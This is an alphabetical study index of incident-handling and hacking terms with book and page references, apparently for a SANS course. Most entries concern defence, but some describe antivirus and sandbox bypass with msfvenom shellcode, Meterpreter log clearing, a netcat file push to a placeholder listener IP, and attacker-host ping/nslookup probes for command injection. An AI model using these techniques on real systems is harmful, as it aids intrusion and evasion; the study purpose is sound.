Bugtraq	5	158	mailing list… underground hacks, source code, attacks, defenses, etc. Up to 50 messages a day. Usually quicker on new exploit release.
Build Checklists	1	31	One checklist per system type • proceedure for backing up, rebuilding systems, brief build doc 5-20 pages
buisiness interuption - Law Enforcement	1	25	may ask to speck with technical personnel, may ask for equipment/copies
Burp Pro - Account Harvesting	4	78	Screen shot from Burp Pro showing account length output
Burp Pro - Account Harvesting - Password Set	4	79	screen shot from Burp Pro showing passwords selection for cracking/guessing
Burp Pro - Password Spraying	4	80	screen shot from Burp Pro showing password spraying
Burp Proxy	4	116	is part of the burp suite of web application assessment and pen testing tools. Capability to accept regular expressions; applies to finding and altering HTTP requests automatically in real time It runs in Java
Business Units; Notify	1	95	if short-term containment disables the system (remove from netowrk or denying users) notify business unit responsible for the system • get permission in writing • if they disagree they win
bypass sandboxing InstallUtil-ShellCode.cs	3	117	By pulling down InstallUtil-ShellCode.cs and inserting msvenom (-f csharp) into it--Compile with the csc.exe tool--Effective because it does not need a full Visual Studio Environment--We can compile these .exe files with the csc.exe utility, which is great for lightweight compilation on Windows systsms
bypass whitelist	3	114	use keyed payloads and a lesser used languages like Golang, this works because AV product have issues parsing through Golang.exe files with the use of keyed payloads as the signature will be different for each instance of the malware; along with keyed payloads, and digital signatures use live off land method best

C$	2	132	windows default admin share
California SB1386	1	24	California law that has a broad scope of who must report an incident
call list	1	33	a list of people to call when there is an incident
call tree	1	33	a list of people to get notified in case of an incident and they will notify the people below them
CAM Table	3	26	• The switch remembers this mapping of MAC address (Layer 2) to physical address (Layer 1) in memory on the switch. Some switch vendors refer to this table as a Content Addressable Memory (CAM) table. Then, when new frames arrive at the switch, the device can consult its CAM table to determine which physical interface to send this packet to, so that it arrives at its destination. Using the CAM table, the switch switches.
Canaries	3	92	Three types -Random, XOR and Terminator; Used a an integrity check of the return pointer to make sure it hasn't been altered by an attacker • Turned on by default in MS Wisual Studio compiler • added by the compiler, not the OS •
Canary - Terminator	3	92	work by using values that will not carry over as part of a copy function in memory
Canary - XOR / Random	3	92	goal is to use random and non-predictable values to protect the return pointer. Random Canaries use random vlues that are XOR'd with other parts of the stack data
cat /etc/passwd	1	113	checks for user accounts on Linux
Center for Internet Security	1	75	has hardening templates and scoring tools for Windows
Center for Internet Security - CIS	5	54	worked with NSA and SANS to develp a set of hardening templates for several OS, network devices, IoT, mobile, web platforms and more.
certificate transparency	2	22	Certificate Authority requirement where they must publish logs of all issued certificates • useful to attackers to find hostname(common name) information included in the certificate
certificate transparency searches	2	23	example on page • **May reveal hosts that are not public yet**
Chain of Custody	1	84	provable chain of custody • don't delete files until case is closed out (save if you can) • ID evidence in notebook • control access to evidence • evidence must be under control of 1 person at all times • when turn over evidence to Law Enforcement HAVE THEM SIGN FOR IT • include description and "value"
Cheat Sheet - Additional Tools	1	75	Sysinternals Tools are free (Process Explorer, Process Monitor, TCPView) • Center for Internet Security has hardening templates and scoring tools for windows
Cheat Sheet - Approach - Win	1	61	multiple methods to checking items (GUI / CMD line) • always be thorough in examining all aspects
Cheat Sheet - Different Encodings	1	74	Base64, Percent(URL) encoding, UTF-8, UTF-16(little/big endian) • Win10 can run Bash • decode base64
Cheat Sheet - Elements - Win & Linux	1	59	Processes and Services • Files • Network Usage • Scheduled Tasks • Accounts • Log Entries • unusual items • 3rd party tools
cheat sheet - examine processes	1	64	commands to show the running processes in windows • admin should know what processes should be running to spot deviations • commands on page
Cheat Sheet - Examine processes w/ WMIC	1	65	WMIC commands provide detailed information about running processes • commands on page
Cheat Sheet - Examine Registry ASEP	1	67, 68	registry and file locations that start software automatically called ASEPs • Registry keys commonly used by malware • HKLM examples • commands on page
Cheat Sheet - Examine Services	1	66	commands to examine running services
Cheat Sheet - Examine SMB Usage - Win	1	62	Look at file shares • look @ inbound SMB sessions • look @ outbound SMB sessions • examine NetBIOS over TCP/IP activity **** commands on page and also windows cheat sheet pamphlet
Cheat Sheet - Examine TCP/IP Usage	1	63	look for unusual TCP/UDP ports • show owning process ID and associated executables/DLLs • auto refresh 5 sec • examine built-in firewall settings (win 7/10)
Cheat Sheet - Limitations - Windows	1	58	no set of commands can detect every attack • powerful tools can leave "tracks" • admins need to know "normal" state of their systems
Cheat Sheet - Unusual Accounts	1	69	check for new or unusual accounts in admin group *** commands on page
Cheat Sheet - Unusual Files	1	70	check for sudden major decreases in space • can check files size through explorer ** commands on page
Cheat Sheet - Unusual Items	1	73	check the windows perfomace monitor tool (Task Manager) to look for unusual system crashes
Cheat Sheet - Unusual Log Entries	1	72	review event log for suspicious events (event log stopped; Win File Protection not active; MS Telnet service started, failed log-on attempts/locked out accounts ** commands on page
Cheat Sheet - Unusual Scheduled Tasks	1	71	look for unusual scheduled tasks, especially run as SYSTEM, user in admin group, or blank username
Chkrootit	5	55	Rootkit detection tool. Checks for "glitches in the matrix" by verifying kernel information consistency • can detect Adore, SuKIT • looks for inconsistencies in the directory structure when a file or dir. Is hidden, checks line count for direcotires, and looks for alterations in binaries and promiscuous mode
chmod 777 [filename]	3	16	can change the permissions settins of a file: like rwxrwxrwx = 777 • rw-rw-rw-=555
CIRT	1	37	Computer Incident Response Team

clearev	5	82	Metasploit Meterpreter includes this command. When invoked from within Meterpreter of a compromise machine, clears the entire contents of the Application, System, and Security logs. This feature currently is a one shot log eraser, and does not offer line by line editing of logs at this time.
client nc listenerIP 1234 < filename	3	13	client side when pushing a file from the client to listener ••screenshot p109 WB
cloak.c	5	71	Unix/Linux log editing tool. One of several tools.
code cave	3	114	hijacking a jump function and pointing to previously unused space in executable where malware is waiting
Code Checking Tools	3	95	Automated code review tools can search for known weak functions, and heuristic checks to see if buffer usage is ok.-Free (C and C ++ -RATS, Flawfinder and SWAMP)- Commercial -(Fortify Source Code Analyzer (over a dozen languages), Coverity Static Analysis (C, C++, C# and Java), Klocwork Insight Pro (C, C++, C#, Java), GrammaTech's CodeSonar (C, C++).)- Commercial binary analysis tools -Veracode's suite of tools.
collisions (SSL)	3	46	• can forge bogus certificates; find MD5 hash collision w/ legit certficates; results in a trusted cert
Command injection	4	83	* Some web applications take input from a user and process that input by invoking shell to run a program to handle the input, like ShellShock Web App -->Shell-->Program-->Input - If the input contains a command for the show, an attacker may be able to get that command to run Web App -->Shell-->Program-->Input; Command - Alternatively, Web Server may skip the show and just execute the program and its input, still manifesting the vulnerability - This input could come in via URL variables, form variables, cookies, or other input field - The attackers command typically runs with privileges of the Web server
Command Injection Defense	4	86	**Preparation:** - Educate developers to be very careful with user input - Conduct vulnerability assessments and penetration test regularly **Identification:** Look for unusual traffic outbound from web servers- Look for extra accounts or other configuration changes on servers **Containment:** Fix the application, and consider a Web Application Firewall - Remove the attacker software, and accounts - Check for a rootkit **Eradication:** If rootkit was installed, rebuild from software **Recovery:** - Watch for attacker's return
Commands to inject 1	4	84	* To discover a command injection flaw, the attacker could choose from several commands to try* Some of the most valuable are: ping [Attacker IPaddress] nslookup [Attacker DomainName] - The attacker can then stick to see if packets come from target* These commands are ideal because: - They don't require high privilege to execute and they are benign - They show that there is outbound traffic from the target * And, with nslook up, that outbound mechanism might not even be check at all... It could have been forwarded through one or more DNS servers, but it still command executable! - And, they work in a blind fashion, as it attacker can sniff to see if they worked without seeing the output of the command* Once the attacker verifies command execution, the attacker could have the target machine mount to share on another attacker control system and then transfer or execute programs on the target* Many automated scanning tools failed to find this flaw, because they tried to being in an routable, RFC 1918 address of the attackers machine - Manual verification is often required
Commands to inject 2	4	85	* Once the attacker verifies command execution, the attacker could have the target machine mount to share on another attacker control system and then transfer or execute programs on the target* Many automated scanning tools failed to find this flaw, because they tried to being in an routable, RFC 1918 address of the attackers machine - Manual verification is often required
Common Vulnerabilities and Exposures	1	81	website to check for exploits and vulnerabilities
Communication Channels	1	46	don't use compromised computers • use out-of-band comms (telepthones/faxes, avoid VOIP if not encrypted) encrypt email (use GnuPG, PGP, S/MIME at minimum) • encrypted cloud storage (tresorit or SecureSafe)
competitive intelligence	1	135	legal way to gather info on a competitor
Compromise Breakout Time and Attack Duration	2	13	nation state attackers are getting faster and reducing breakout time from 20 - 309 minutes for nation state attackers, and average 582 minutes for cyber gangs • have an average of 3.5 hours to respond to initial compromise • amount of time attackers spend inside breaches is reported in months/years
Cone of Silence	5	51	Carves user mode mode into two worlds: visible and a cloaked environment. The attacker can see everything, but the user and administrators cannot. Example- Rooty.
conference bridge number	1	33	Part of emergency comm plan. Set-up quickly
Confirm background check data	1	153	ensure the check was performed, review data to understand suspect
Connect scans	2	103	completed three-way-handshake, very slow & easily detected

Connection Data (Enterprise-Wide IR)	1	123	use Netflow data to reveal patterns in connection statistics- Systems beaconing out every 30 seconds- Systems beaconing out at random intervals- Connections which live for far longer than they should
Connection Logs	1	123	reviewing NetFlow data can reveal patterns in connections (systems beaconing out or connections that live far longer than they should • check connection logs of firewall that performs NAT
Consult with System Owners	1	102	keep systems owners and Admins briefed on progress • don't assign blame, if necessary brief in Lessons Learned phase 6
Containment	1	86	Prevent the incident/attacker from getting and bigger into impated system(s) or spreading • Then document • TASK: create IPS rule to block traffic from ongoing Denial-of-Service attack *Avoid placing blame at this stage.*
Containment - Bot infected system	1		prevent communication over Command and Control channels: Set egress firewall rule at host's subnet perimeter
Containment - Characterize Incident	1	89	Document various characteristics (use FIRST Case Classification as starting point) • Incedent Category • Criticality (for response time) • Sensitivity (who should be notified)
Containment - Create Forensic Images	1	97	see create forensic Images
Containment - Deployment	1	88	small on-site team to survey situation • same personnel as ID team • secure area • survey forms • review info provided from ID phase • use a camera • trace wires • document everything
Containment - Inform MGMT	1	90	ID senior management as sponsor (CISO, CIO, Legal…) • notify sponosr when declar an incident • minimum of 2 people or each incident (Primary and Helper, both take own notes)
Containment - Initial Analysis	1	93	low profile (avoid ping, traceroute, nslookup) • don't tip off attacker • maintain standard proceedures
Containment - ISP Coordination	1	96	For external attacks coordinate closely with your internet service provider: - It may be able to assist you in identification, containment, and recovery - Especially for large packet floods, bot-nets, worms, and virulent spam - The information you provide may save someone esle a lot of pain - we need to work together as a community to foil widespread attacks You might need to reply on someone else's ISP to get a bot-infected system taken offline
Containment - Long term Actions	1	101	• Numerous potential actions, including - Patch the system- Patch neighboring system - Insert Intrusion Prevention System (IPS) or inline Snort - Null routing- Change passwords- Alter trust relationships - Apply firewall and router filter rule - Remove accounts used by attacker - Shutdown backdoor processes used by attacker• Remember, you still need to do eradication • The idea for long- term containment is to apply a temporary band aid to stay in production while you are building a clean system during eradication
Containment - Long-Term	1	100	after backup for forensics analysis can make changes to the system • implement long-term containment • move to eradication phase
Containment - notifications / Incident Tracking	1	91	notify local incident handling team manager, and security officer • vertical and horizontal reporting (MGMT and impacted business units) • incident tracking system (CyberSponse commercial; RTIR free; CyberCPR)
Containment - risk of Continuing Operations	1	99	look at logs and other sources to see the overall impact of the attack and for far it reaches • make recommendation for long-term containment (document in signed memo)
Containment - Short Term	1	94	Prevent attacker from causing more damage without making changes to impacted system if possible •• Forensics p97, use dd for bit-by-bit binary imag
Containment - Sub-Phases	1	87	Short-Term Containment • Evidence Collection • Long-Term containment • diag on page
Content Security Policy	4	108	web servers declare where linked resources can be loaded from in the requested page by the browers.
cookies	4	113	special HTTP fields web apps set and pass back to the browser
Cookies - browser manipulation	4	118	form of session tracking. Cookies are special HTTP fields that the web application can set and pass back to the browser.Cookies are just fields in the HTTP header itself that will store the informaiton
Core Team	1	30	small team for quick initial incident response
Corroberating Evidence	1	14	example of corroboration is having snort and log output that show the same event • Important to look at environment and context • Intrusion Analyst and Incident Handler need to work together
Country Specific cybercrime laws	1	155	most countries cybercrime falls into two categories: traditional crimes facilitated by a computer, crimes in which computer is the target • Department of Justice has portal for US cybercrime laws • georgetown law libray international and foreign cyberspace law research guide • always incorporate legal
Covering tracks (step 5) attack process	2	4	an attacker hides from users and system admins using various techniques

Covering Tracks On the Network: ICMP Tunnels	5	94	Numerous tools carry data inside the payloads of ICMP packets--ptunnel (TCP over ICMP Echo and Reply), Loki (Linux Shell), ICMP Shell (Linux), PingChat (Windows chat program), ICMPCmd (Win cmd.exe access)
Covering Tracks: Finding Hidden Streams	5	77	Use antivirus tool to find malicious code in streams (nearly all have it)---Many anti-spyware tools lack ADS detection functionalityThird-party tools for finding alternate data streams in NTFS-----LADS or Streams
Coverity Static Analysis	3	95	commercial Code Checking Tool for C, C++, C#, Java
Covert Channel Defenses	5	103	• Preparation - Keep attackers off of system in the first place• Identification * Know what processes should be running on your systems • When a strange process starts running, investigate • Especially if it has admin/root privileges * Network-based IDS can analyze packets for • Shell commands in HTTP (for reverse www shell) • Unusual data in ICMP messages (for ICMP tunnels) • False positives associated with network management equipment • Unusual changes in IP ID and Seq/Acl fields (for Covert_TCP) - Pretty hard to do• Containment p104 • Delete attacker's program • Look for program on other systems• Eradication • If attacker compromised admin/root account, rebuild system• Recovery: • Monitor system very closely
Covert Channels in TCP and IP Headers	5	97	Covert_TCP transfers only ASCII files between systems. However, the same concepts can be used to transport commands for a backdoor shell, or any other movement of data across the network.
Covert Channels, Other	5	101	Just about any protocol can be used as a covert channel* DNS - DNSCat2 by Ron Bowes and numerous other malware specimen* Quick UDP Internect Connect (QUICK) - Use of multiplexed UDP connections for connections* Stream Control Transmission Protocol (SCTP) - Also uses multi-streaming to send data across multiple concurrent connections, supports multihoming so multiple endpoints can be used as a failover, has built-in C2 server failover* Goal of attackers using odd protocols for transfer is to find new areas where existing signatures do not exist* Some issues with reassembly across multiple concurrent streams of data being sent Uses the sequence number for covert channels
Covert_TCP	5	99	tool that implements a covert channel using either TCP or IP header; written by Craig H Rowland. Client and server are same executable; fields used: **IP ID, TCP Initial sequence number, TCP ACK Seq Number**• only transfers ASCII files between systems. Covert_TCP is limited to passing ASCII data (e.g. a list of password hashes) from one machine to another by embedding the data in TCP or IP header fields. •• lab on p283 WB
Covert_TCP - TCP/IP Headers used	5	98	allows transmiting of info by entering ASII data into the TCP/IP header fields - IP identification; TCP initial Seq #; and TCP ack Seq # Byte offset 4-7 or 8-11
Covert_TCP : IP ID Mode	5	99	ASCII data is simply dropped into that field of the IP header at the client and extracted at the server.
Covert_TCP : Seq Mode	5	99	1. The first part of the TCP three way handshack carries an initial sequence number (ISNA) set to represent the ASCII value of the first character in the file to be covertly transferred.2. The Covert TCP sends back a RESET packet. (intent is to deliver the character in the ISNA, not establish a connection)3. The client then sends another session initiation containing another character in the ISNA field.4. The server sends a RESET and the three way handshake is not completed.
Covert_TCP Bounce Mode	5	100	*The client spoofs the address of the receiving server, duping the bounce server to foward the message.0. The attacker establishes a Covert TCP server and puts it in ACK mode and selects a bounce server(needs internet access, preferablly a high profile Internet commerce web site or a DNS serve.) - NO ATTACKER SW IS REQUIRED ON THE BOUNCE SERVER1. The attache generates a TCP SYN packet (from client machine) with a spoofed source address of the receiveing server and a destination address of the bounce server.2. The bounce server receives the packet. If the destination port on the bounce server is open it send a SYN/ACK response. If it is closed it sends a RESET response. 3. The receiving server get the SYN/ACK or RESET, recover the character from the sequence field and waits for more. only transfers ACCII files between systems.
Covert_TCP Modes	5	99	• IP Identification Mode (simplest mode)• TCP initial sequence number mode aka: sequence mode• TCP acknowledgement sequence number mode aka: Bounce mode (most complex mode)
cp [file] [file1]:[stream] (Win)	5	75	using "cp" to create an alternate data stream by adding [file] as ADS to [file1]; program from the Windows NT Resource Kit
Cracker	2	5	someone who maliciously breaks into a system also known as an attacker or intruders

Cram Input	3	73	• Attackers will cram using increasing sequences of the "A" character into every input - Enviromental varriables, Every field sent in the network, GUI fields, Command line options, Menus, admin interfaces• Then, to find which of the As made it creash, they enter input of cyclic patterns or other unique text and look for the characters that ended up in the RP(pinpoints the exact offset for the RP)
Cram Input - Finding Potential Buffer Overflows	3	72	Brute Force Approch• Shove a repeating patterrn of arbitrarily long characters into every possible opening - Every user input -name, address, configuration paramters• Look for a crash, where the instruction pointer (EIP on x86, RIP on x64) contains your pattern- That means you were able to verflow a buffer and get your input into the instruction pointer
Crazyradio PA	2	83	works with Jackit to identify and inject keystrokes into a wireless mouse/keyboard • example on page
Create Forensic Images	1	97	make image as soon as practical (preferebly a bit-by-bit) of both file system and memory • Voltility Framework, Rekal and dd can capture and analyze memory • use new blank media •
Create Local Admin User (Metasploit Payload)	3	83	This payload creates a new user in the admin group with a name and password specified by the attacker
CreateRemoteThread	5	36	starts an execution thread in another process
Creating Evil Macros	3	106	see screenshot
Credentialed Scans	2	127	These scans use a valid user ID and password to access a server and validate configuration patches
Credit Card Theft (Scenario)	5	120	Scenario walkthrough.; stolen card typically sell for 50 Cents to a $1. see also Mistake - Credit Card #
CRIME	3	46	• attack undermining HTTPS by focusing on its compression routines
CRIME (SSL Warnings)	3	46	• Undermined HTTPS by focusing on its compression routines.
Criminal Discovery	1	24	victim org benefits from this in a court case
Criticality	1	89	Level 1: Business critical systems (60min response time) • Level 2: Non-business critcal (4hr) • Possible incident, non business critical (48hr)
Cross Sit Scripting Server Defenses	4	108	Limit cookie accessibility with HttpOnly flag (prevents cookie from being accessed in JavaScript) • Set a Content Security Policy (server declares which resources are permitted to load in a browser (javascript, CSS, images etc..) and broswer can report sanitized conted to specified URL if attack is detected) • IE does not support the CSP feature
Cross site scripting - Attacking Admins	4	105	An attacker may provide input that uncludes a browser script, the application logs this input and passes it into a logging server. When an admin later logs into the server to review logs, the attackers script runs in the admin's browser, stealing cookies or session information and delivering them to the attacker, or even alter the application in some way, using the admin's hijacked credentials.
Cross Site Scripting - Exploit Admin Apps	4	104	scripts inserted into admin apps that typically have logs storing information such as: date and timestamps, user accounts, transaction type & details, user agent string, possible packet logs. If viewed using web-based tools, could inject browser scripts.
Cross site scripting - reflected(XSS) attack	4	100	because the script is being reflected off of the target website back into the user's browser (Non-Presistent)
Cross site scripting - walk through	4	99	1) victim uses website that sets cookies on victims browser , 2) victim clicks on URL or visits a website that include malicious script, 3) victim user's browser transmits malicious code to the vulnerable target site as a web request. 4) target site reflects mal code back to victims browser in the response to the request. 5) malicious code executes within victims browser under the security context of the target site. •• diagram on page 100
Cross Site Scripting - XSS Shell	4	103	BeEF module, attack tool implements an XSS backdoor running inside the victim's browser, offering the attacker interactive control over the browser.
Cross Site Scripting (XSS)	4	97	allows an attacker to steal information (such as cookies) from users of a vulnerable web site; scripting code (usually JavaScript or VBScript) to a web app that sends back to the browser. Can also be used to access the internal systems; website or user target
Cross Site Scripting (XSS) overview	4	98	Attacker intends to obtain sensitive data from victim user. Attacker searches target site to find functionality that doesn't filter user supplied input, especialy HTML<SCRIPT> tages. Attacker writes a URL with specialized browser script. Browser script steals cookie. •• example walk through on page
Cross Site Scripting Client Defenses	4	107	• Preparation:To defend clients, disable scripting, or use browser features to selectively control scripts.-No Script Firefox extension -IE 8 and later include a built-in XSS filter. Looks for JavaScript included in the URL or HTTP POST variables. If it hides scripts it analyzes them and warns the user if they are dangerours. -Recent versions of Google's Chrome browser includes and XSS filter as well.

Cross Site Scripting Defenses - Additional	4	109	• Identification: IDS and/or logs showing user input with embedded scripts; Watch for encoded information (Hex, Unicode• Containment: Add a filter to incoming data• Eradication: Remove attackers data and or transactions• Recovery: Contact anti-fraud group
Cross site scripting for access to internal systems	4	102	Possible to use XSS variation to conduct scan of internal network. Malicious script posted to a variety of sites. Once targeted system accesses site, scripts run to scan network inside firewall. Attacker cannot determine output of script. Script passes indication to originating website. Jikto tool runs Nikto scan of internal network
Cross site scripting hook	4	103	Takes interactive control of browser; also BeEF hook
CTRL+C in bash	1	170	abondon current command
CTRL+L in Bash	1	170	clear screen
CTRL+R in Bash	1	170	search command history
CyberCPR	1	92	Web App that tracks incidents, systems, and evidence • enforces need to know • encrypts contents • real-time OOB chat • free for 1-3 users
CyberSponse	1	91	Commercial grade Incident Response tracking for shaing and centralized collection of data across the team
Dameware	5	9	• app-level trojan horse • commercial software
DarkComment RAT	5	9	• app-level trojan horse
Data Collection (Maximize)	1	138	• Ensure that access records of the affected facility are collected and protected• These may include: - Records from badge access systems- Phone records from your organizations PBX-Log books - System log - Network logs - Surveillance videos• Collect as much back data as possible• Make sure you can get access to this type of data when you really need it
Data Execution Prevention (DEP)	3	91	Modern Windows systems (XP SP 2 and later) include Data Execution Pprevention (DEP) Fucntionality Marks pages non-executable, including the stackHardware and Software based DEP • **Many modern Metsploit esploits and payloads can dodge DEP using return-oriented techniques**.settings in start->Settings->ControlPanel->System->Advanced
Data Execution Prevention (DEP) Hardware	3	91	Hardware based DEP works only on machines with processors that support execution protection (NX) technology.
Data Execution Prevention (DEP) Software	3	91	Software based DEP is activated by default for "essential Windows programs and services".
Data Link Layer (Passive & Active Sniffing)	3	32	• Bettercap: Ruby framework is used to manipulate ARP mapping on targeted systems and gateways. Also supports a wide variety ot other attacks as well. • Arpspoof: Manipulate IP-to-MAC address mapping - feeds false ARP messages into a LAN so traffic is directed to the attacker for sniffing -> ARP cache poisoning • Man-in-the-Middie Framework (MitMf): Supports ARP cache poisoning and multiple other injection/TCP stream moditication attacks.
Data Loss Prevention (DLP)	2	50	SearchDiggity's module called "DLP Diggity" can check for data leakage from an environment
Database Manipulation across the Web (SQL Injection)	4	90	After target user input string has been identified use standard database logic elements and see what happens • Double dash (--) comment delimiter • Semicolon (;) query terminator • Asterisk (*) wildcard selector • Percent sign(%) matches substrings • Underscore (_) matches any character • Other useful entities are OR, TRUE, 1=1, SELECT, JOIN, and UPDATE
dd	1	41, 97	evidence collection software; **binary image-creation software bit-by-bit** • Win and Unix
DDoS - Architecture	4	132	diagram shows how an attacker uses a control tool on exploited clients, that control bots on other machines
DDoS - Attacks	4	131	use a large number of compromised machines---The result is Distributed Denial of Service (DDoS)--In the past, attackers relied on specialized DDoS tools:-Tribe Flood Network (TFN) and Tribe Flood Network 2000 (TFN2K)Today, DDoS is usually launched using a botnet
DDoS - Flood	4	135	SYN floods:--Typically Spoofed--Clogs connection with bogus traffic--Easier for ISPs to block by looking for abnormal traffic patterns HTTP Floods:--3WH and send HTTP GET for common page, such as index.html--Much harder to differentiate from normal traffic
DDoS Defenses 1	4	138	**Preparation** •Install host-based IDS and IPS on Internet accessible systems •Keep systems patched •Utilize antivirus tools to prevent installation and promote detection •**Egress anti-spoof filters** (VERY IMPORTANT) Identification •**Massive flood of packets Containment** •Get ready to marchal the incident response team of your ISP Erad/Recov: N/A

DDoS Defenses 2	4	139	**Preparation**- Design critical business systems with adequate redundancy, install host-based IDS and IPS to prevent attackers from gaining root and SYSTEM (windows); patch systems; antivirus tools to prevent install; Egress anti-spoof filters; Design critical business systems with adequate redundancy; **Identification**- massive flood of packets, ISP automated DDoS detection and throttling tools (Arbor Networks Peakflow, Riverbed NetProfiler, Neustar SiteProtect, CloudFlare; **Containment**- get ready to marshall the incident response team of your ISP
DDoS reflected attack	4	133	Using the TCP three way handshake, an attacker can bounce a flood from the zombie to the victim--Zombie sends a SYN to legitimate site, Legit site sends a SYN/ACK to food the victim--Makes tracing the attack even more difficult
Deceiving the Attackers (Purposely)	1	139	• If an outsider is collecting the infomation, you may be able to provide erroneous information and actually benefit from the inicdent • If you suspect the information is being collected and distributed by an insider, this is likely to work - However, the technique can be used to pinpoint the insider - Make up a fake activity called "Project XYZ" or a bogus bid for a client - Configure network-based IDS and/or anti-virus tool with custom signatures to look for this fake data
Decoding Linux/Unix Password hashes Decoding	4	25	linux/unix use salts and newer OS usespassword-hashing rounds • old systems use: new systems use $ $HashType$Salt$Hash $1 = MD5, $2 = Blowfish, $5 = SHA-256, $6 = SHA = 512 example on pg
Default Admin Shares	2	132	IPC$ is not an admin share, ADMIN$, C$. Windows machines hidden these from the "net view" command.
Defcon	5	157	Interesting talks and sniffer data from capture the flag contest. Annual hacker conference.
Defending Against Stego 1	5	116	Prepartion: Get familiar with stego tools, look for changes to critical web servers files (file integrity tools) Identification: perform a diff or file comparision; MD5 or SHA-1 hashes
Defending Against Stego 2	5	117	Identification: take direction from your legal team, requires determining statstics or large number of clean files to come up with unique properties Containment: work with law enforcement and HR Erad, Recov: work with your company's legal team
Defense, Command Injection	4	86	**Preparation:** - Educate developers to be very careful with user input - Conduct vulnerability assessments and penetration test regularly **Identification:** Look for unusual traffic outbound from web servers- Look for extra accounts or other configuration changes on servers **Containment:** Fix the application, and consider a Web Application Firewall - Remove the attacker software, and accounts - Check for a rootkit **Eradication:** If rootkit was installed, rebuild from software **Recovery:** - Watch for attacker's return
Defenses for Kernal Mode Rootkits	5	54	Attacks require root or administrator-level access. Harden the box by hand, use a good security template. Linux/Unit on pg 55, Windows on pg 56, file integrity checking on pg 57, Network Intelligence/forensics pg 58
Denial of service	2	4	a step under exploiting in the attacks process using tools such as Netcat
Denial of Service Attacks - Locally	4	124	**Stopping Services**: - process killing - process crashing - Systeem reconfig • **Exhausting Resources**: - spawning processes to fill the process table - filling up the whole file system
Denial of Service Attacks - Remotely	4	124	Stopping Services: - Malformed packet attack (e.g., bonk, WinNuke, teardrop, Ping of Death, fragmented packets, etc.)Exhausting resources: - Packet floods (e.g., Smurf, SYN Flood DDoS, etc)
Denial-of-Service attack	4	123	DoS • continue to grow each day • numerous ways to conduct DoS • prevents users from accessing something usually by flooding a service with useless data to prevent it from functioning correctly
Deployment for containment	1	88	small on-site team to survey situation • same personnel as ID team • secure area • survey forms • review info provided from ID phase • use a camera • trace wires • document everything
Detecting Stego	5	115	Steg expose: java utility in lossless images where Least Significant Bit (LSB); supports a number of different dectors or athematicial analyis; quick analyis; ability to run on a large number of files
Dictionary Attacks	4	10	•Involves using a predetermined list of passwords •Can check concatenation of words i.e. dogdog •Since most people use common words as passwords, this technique guesses a high percentage of passwords
Dig	2	33	•DNS Recon tool •used with latest versions of Linux, since nslookup being deprecated •$ dig @[DNS_server_ip] [target_domain] -t AXFR • can do zone xfer
dig @ [DNS_server_IP] [target_domain] -t AXFR	2	35	Unix DNS Zone transfer

Digital Millennium Copyrights Act	2	9	DCMA • copyright protection and prohibitions against reverse engineering copy protection schemes
dir /r+	5	76	On Vista, Win2008, and Windows 7: lists ADS in NTFS (/s will display system files) •• dir /r shows alternate data streams
dir /s /b "C:\Documents and Settings*username*\Start Menu"	1	68	check user startup folders on Win Vista
dir /s /b "C:\Users*username*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"	1	68	check user startup folders on Win 8
dir /s /b "C:\users*username*\Start Menu"	1	68	check user autostart folders on Win Vista and 7
direct reconnaissance	2	29	information that is sent directly to the target
Disable LLMR	3	7	• Willdisable LanTurtle + Responder attacks.
Disable services on listening ports	2	111	4 options to kill/disable services: if the listening process started as a Win serverice, need to disable the service itself by running the Services control pannel *services.msc* , double click on the offending service and click stop, then start up to disabled • command line: *sc config "servicename" start= disabled*
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol	2	144	powershell command to disable smb1
Disabling - LANMAN Authentication	4	46	Stop storing LANMAN hashes by defing reg key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa •On edit menu, click Add key, type NoLMHash, and click ok •LM hashes Disappear when user next changes password Stop sending LANMAN challenge/repsonse across the network: LMCompatibilityLevel registry parameter •level 3 -send NTLMv2 authentication - good for clients •level 5 - Domain Controller refuses LM and NTLM authentication (accepts only NTLMv2) - good for servers Compatibility issues with Windows 95, 98, and NT - Fixed by installing directory services client from microsoft
Disabling (Linux/Unix) Services listening on Ports	2	113	• Kill running process using kill or killall • Disable service by reconfiguring inetd orxinetd • inetd: Comment out lines in /etc/inetd.conf by putting a # in front of line • /etc/xinetd.d: delete file or make sure it contains "disable=yes"• Disable service by altering /etc/rc.d files or running **systemd** (which alters rc.d automaically)• # systemctl list-units --type service• # **systemctl disable <service>**• Be careful not to kill critical processes • examples on page
disclosure, anti	2	9	vulnerabilites that are hidden until adequate defenses are released (See PG 9 General Trends)
disclosure, full	2	9	vulnerabilities that are widely disclosed in public
disgruntled employee	1	149	angry from a situation at work and acts to prove something against organization
Distributed DoS	4	131	Launch a DoS attack using a large number of compromised machines or botnets instead of one or a small group; DDoS attacks using botnets were regular major attacks against U.S. banks in 2012, 2013, 2014
Distributed DOS - Architecture	4	132	diagram shows how an attacker uses a control tool on exploited clients, that control bots on other machines
Distribution, Bot	4	65	* Attackers install bots in numerous ways – Worm spread, carrying bot as a payload – Email attachment duping users into running it – Bundled with some useful application or game – Browser exploits/drive-by downloads... Especially effective in web-based and delivered – Other methods as well
DLL Injection	5	36	DLL injection into legitimate EXE memory space. Allocating space in the victim process for the DLL code to be injected. Writing the name and code of the DLL into the memory space of the victim process. Writing the name and code of the DLL into memory space of the victim process. Creating a thread in the victim process to actually run the newly injected DLL. freeing up resources after execution is completed. Overwrite API calls. **Uses VirtualAllocEx**
dlllist [pid]	5	28	rekall command to display list of DLLs loaded by a process
DLP Diggity	2	50	module for SearchDiggity that can check for data leakage from an environment
DNS - Domain Name System (DNS interrogation)	2	33	•Full of useful information about target •Attacker's goal is to discover as many IP addresses associated w/ target domain as possible •nslookup cmd can be used to interact with a DNS server to get data •Dig, tool for DNS recon
DNS - Windows command	3		**ipconfig /displaydns**
DNS active interrogation	2	36	leverages list of common hostnames (or mutated list of hostnames, such as common hostname followed by series of numbers) combined with target domain name, querying the combination of hostname and domain name to determine if DNS name is registered

DNS Amplification Attack	4	126	DNS amplification attacks do not involve a broadcast addresses. Instead, these attacks involve sending small, spoofed DNS queries to a series of DNS servers on the internet. The DNS servers send a larger response back to the address that appeeared to make the request. This results in an amplification of traffic directed to the ultimate flood target. Because DNS is UDP based, spoofing in this way is trivial. smurf attacks involve sending packets to a network broadcast address to achieve amplification. DNS amp attacks DO NOT involve a broadcast address and it is difficult to block the source of DNS amplification attacks becuase UDP packets are easy to spoof
